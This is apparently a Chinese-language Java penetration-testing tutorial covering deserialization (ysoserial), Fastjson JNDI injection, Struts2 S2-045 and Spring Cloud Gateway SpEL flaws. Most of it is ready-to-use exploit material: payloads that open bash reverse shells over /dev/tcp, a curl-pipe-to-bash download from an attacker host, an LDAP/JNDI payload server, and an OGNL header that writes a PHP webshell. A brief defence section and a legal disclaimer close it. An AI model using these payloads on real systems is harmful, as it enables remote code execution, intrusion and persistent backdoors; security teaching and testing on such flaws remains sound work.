Java渗透测试实战案例分析
目录
环境准备
测试环境搭建
# 搭建DVWA靶场环境(Java版本) docker pull webgoat/goatandwolf:latest docker run -p 8080:8080 webgoat/goatandwolf:latest # 常用的Java渗透测试工具 - Burp Suite(Web抓包工具) - JNDI-Exploit(JNDI注入利用工具) - ysoserial(反序列化利用工具) - Nmap(端口扫描) - Metasploit(漏洞利用框架)
Java反序列化漏洞利用
漏洞原理
Java反序列化漏洞(CVE-2015-4852)主要是由于ObjectInputStream.readObject()方法在反序列化时,没有限制类的类型,导致攻击者可以构造恶意的序列化数据,触发RCE(远程代码执行)。

利用过程
Step 1:发现反序列化点
# 扫描目标端口,寻找Java应用 nmap -sV 192.168.1.100 # 常见反序列化位置 - HTTP请求参数的二进制数据 - Cookie中的序列化数据 - HTTP头信息 - RMI/Dubbo等远程调用协议
Step 2:使用ysoserial生成恶意payload
# 生成恶意序列化数据
java -jar ysoserial-all.jar CommonsCollections1 'bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMS4xMDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}' > payload.ser
# 常用组件payload生成
java -jar ysoserial-all.jar CommonsCollections5 "whoami" > cc5.ser
java -jar ysoserial-all.jar Jdk7u21 "ping 攻击者IP" > jdk7u21.ser
java -jar ysoserial-all.jar Spring1 "curl http://攻击者IP/shell.sh|bash" > spring1.ser
Step 3:发送恶意payload
# Python脚本发送反序列化数据
import requests
import base64
with open("payload.ser", "rb") as f:
payload = base64.b64encode(f.read()).decode()
# 通过HTTP请求发送
headers = {
"Cookie": f"session={payload}",
"Content-Type": "application/x-java-serialized-object"
}
response = requests.post("http://192.168.1.100:8080/", headers=headers)
print(response.text)
Step 4:建立反向Shell
# 攻击机监听端口 nc -lvnp 4444 # 如果payload执行成功,将收到shell
Fastjson远程代码执行
漏洞原理
Fastjson在解析JSON时,@type字段可以指定反序列化的类,攻击者可以利用这个特性,通过JNDI注入或直接代码执行来达到RCE效果。
利用过程
Step 1:检测Fastjson版本
POST /api/login HTTP/1.1
Host: 192.168.1.100
Content-Type: application/json
{"name":"test","age":"26"}
使用恶意payload检测:
POST /api/login HTTP/1.1
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机:1389/obj","autoCommit":true}
Step 2:搭建JNDI服务
# 使用JNDI-Exploit工具搭建恶意服务 git clone https://github.com/jas502n/JNDI-Exploit.git cd JNDI-Exploit mvn package # 启动JNDI攻击服务 java -jar JNDI-Exploit-1.0.jar -L 攻击机IP:1389 -P 命令执行payload
Step 3:执行远程代码
# 生成反弹shell命令 bash -i >& /dev/tcp/攻击机IP/4444 0>&1 # URL编码后放入JNDI服务 java -jar JNDI-Exploit-1.0.jar -L 192.168.1.100:1389 -C "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
Step 4:通过Fastjson触发漏洞
POST /api/login HTTP/1.1
Content-Type: application/json
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://攻击机IP:1389/com.test.Payload",
"autoCommit":true
}
Struts2命令执行漏洞
漏洞原理
Struts2使用OGNL表达式来处理URL参数,在OGNL表达式中存在安全漏洞,攻击者可以通过构造恶意的URL参数来执行系统命令。
利用过程
Step 1:识别Struts2应用
# 通过URL风格识别 # 常见Struts2 URL模式 /index.action?param=value /login.do /user!input.action # 使用wappalyzer或hackbar识别
Step 2:检测OGNL漏洞(S2-045/CVE-2017-5638)
POST /login.action HTTP/1.1
Content-Type: multipart/form-data; boundary=struts2;%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println("Struts2_Test")).(#o.close())}
Content-Disposition: form-data; name="oops"
Step 3:执行系统命令
# 执行whoami命令
POST /login.action HTTP/1.1
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context=#context['com.opensymphony.xwork2.ActionContext.container'])).(#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(@java.lang.Runtime@getRuntime().exec('whoami')).getInputStream())}).(#o.close())}
# 通过命令执行写入shell
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context=#context['com.opensymphony.xwork2.ActionContext.container'])).(#context.setMemberAccess(#dm)))).(#cmd='echo "<?php @eval($_POST[cmd]);?>" > /var/www/html/shell.php').(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c',#cmd})).(#p.redirectErrorStream(true)).(#p.start())}
Spring框架漏洞利用
案例:Spring Cloud Gateway SpEL注入(CVE-2022-22947)
漏洞原理 Spring Cloud Gateway的Routing配置中,如果管理员配置了包含SpEL表达式的过滤器,攻击者可以通过构造恶意请求触发SpEL表达式执行。
利用过程
Step 1:发现Spring Cloud Gateway
# 端口扫描和指纹识别 nmap -sV --script=http-title 192.168.1.100 # 常见Spring Boot应用特征 - /actuator端点暴露 - 错误页面包含Spring相关信息
Step 2:添加恶意路由
# 通过Actuator创建恶意路由
curl -X POST http://192.168.1.100:8080/actuator/gateway/routes/hacktest \
-H "Content-Type: application/json" \
-d '{
"predicates": ["Path=/hacktest/**"],
"filters": [{
"name": "AddResponseHeader",
"args": {
"Name": "Result",
"Value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}]
}'
Step 3:刷新路由并触发
# 刷新路由 curl -X POST http://192.168.1.100:8080/actuator/gateway/refresh # 触发恶意路由 curl http://192.168.1.100:8080/hacktest/test
Step 4:反弹Shell验证
# 生成反弹Shell的SpEL payload
Value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\"}).getInputStream()))}"
防护建议
代码层面
// 1. 反序列化漏洞防护
// 使用ObjectInputFilter过滤危险类
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"java.lang.*;java.util.*;!com.untrusted.*"
);
ois.setObjectInputFilter(filter);
// 2. 自定义ObjectInputStream,检查类白名单
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> WHITE_LIST = new HashSet<>(Arrays.asList(
"com.myapp.pojo.User",
"com.myapp.pojo.Order"
));
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if (!WHITE_LIST.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt");
}
return super.resolveClass(desc);
}
}
框架配置
# Fastjson防护配置
System.setProperty("fastjson.parser.autoTypeSupport", "false");
// 添加自定义检查
ParserConfig.getGlobalInstance().addAccept("com.myapp.");
# Spring Security配置
spring:
security:
user:
name: admin
password: ${ADMIN_PASSWORD}
# 限制Actuator访问
cloud:
gateway:
actuator:
enabled: false
网络层面
# 1. 防火墙规则
iptables -A INPUT -s 不可信IP -j DROP
iptables -A OUTPUT -d C2服务器 -j REJECT
# 2. WAF规则
# ModSecurity防护规则
SecRule REQUEST_BODY "@rcontains @type" \
"id:100001,phase:2,deny,status:403,msg:'Fastjson Attack'"
# 3. 最小权限原则
- 应用程序运行账号不使用root/administrator
- 数据库连接使用最小权限账号
- 网络环境进行隔离和分段
# 4. 定期更新和补丁
- 升级Java到最新版本(8u341+)
- 更新框架到安全版本
- 监控漏洞公告
Java渗透测试需要系统地掌握:
- 漏洞原理:理解各类Java框架的安全机制和漏洞成因
- 利用技巧:熟练使用各类渗透测试工具和Payload构造
- 防御手段:从代码、配置、网络等多层面加强防护
- 持续监控:定期进行安全评估和漏洞扫描
法律声明:本案例仅用于授权范围内的安全测试和学习研究,未经授权对信息系统进行攻击测试属于违法行为,请在合法合规的前提下使用相关知识。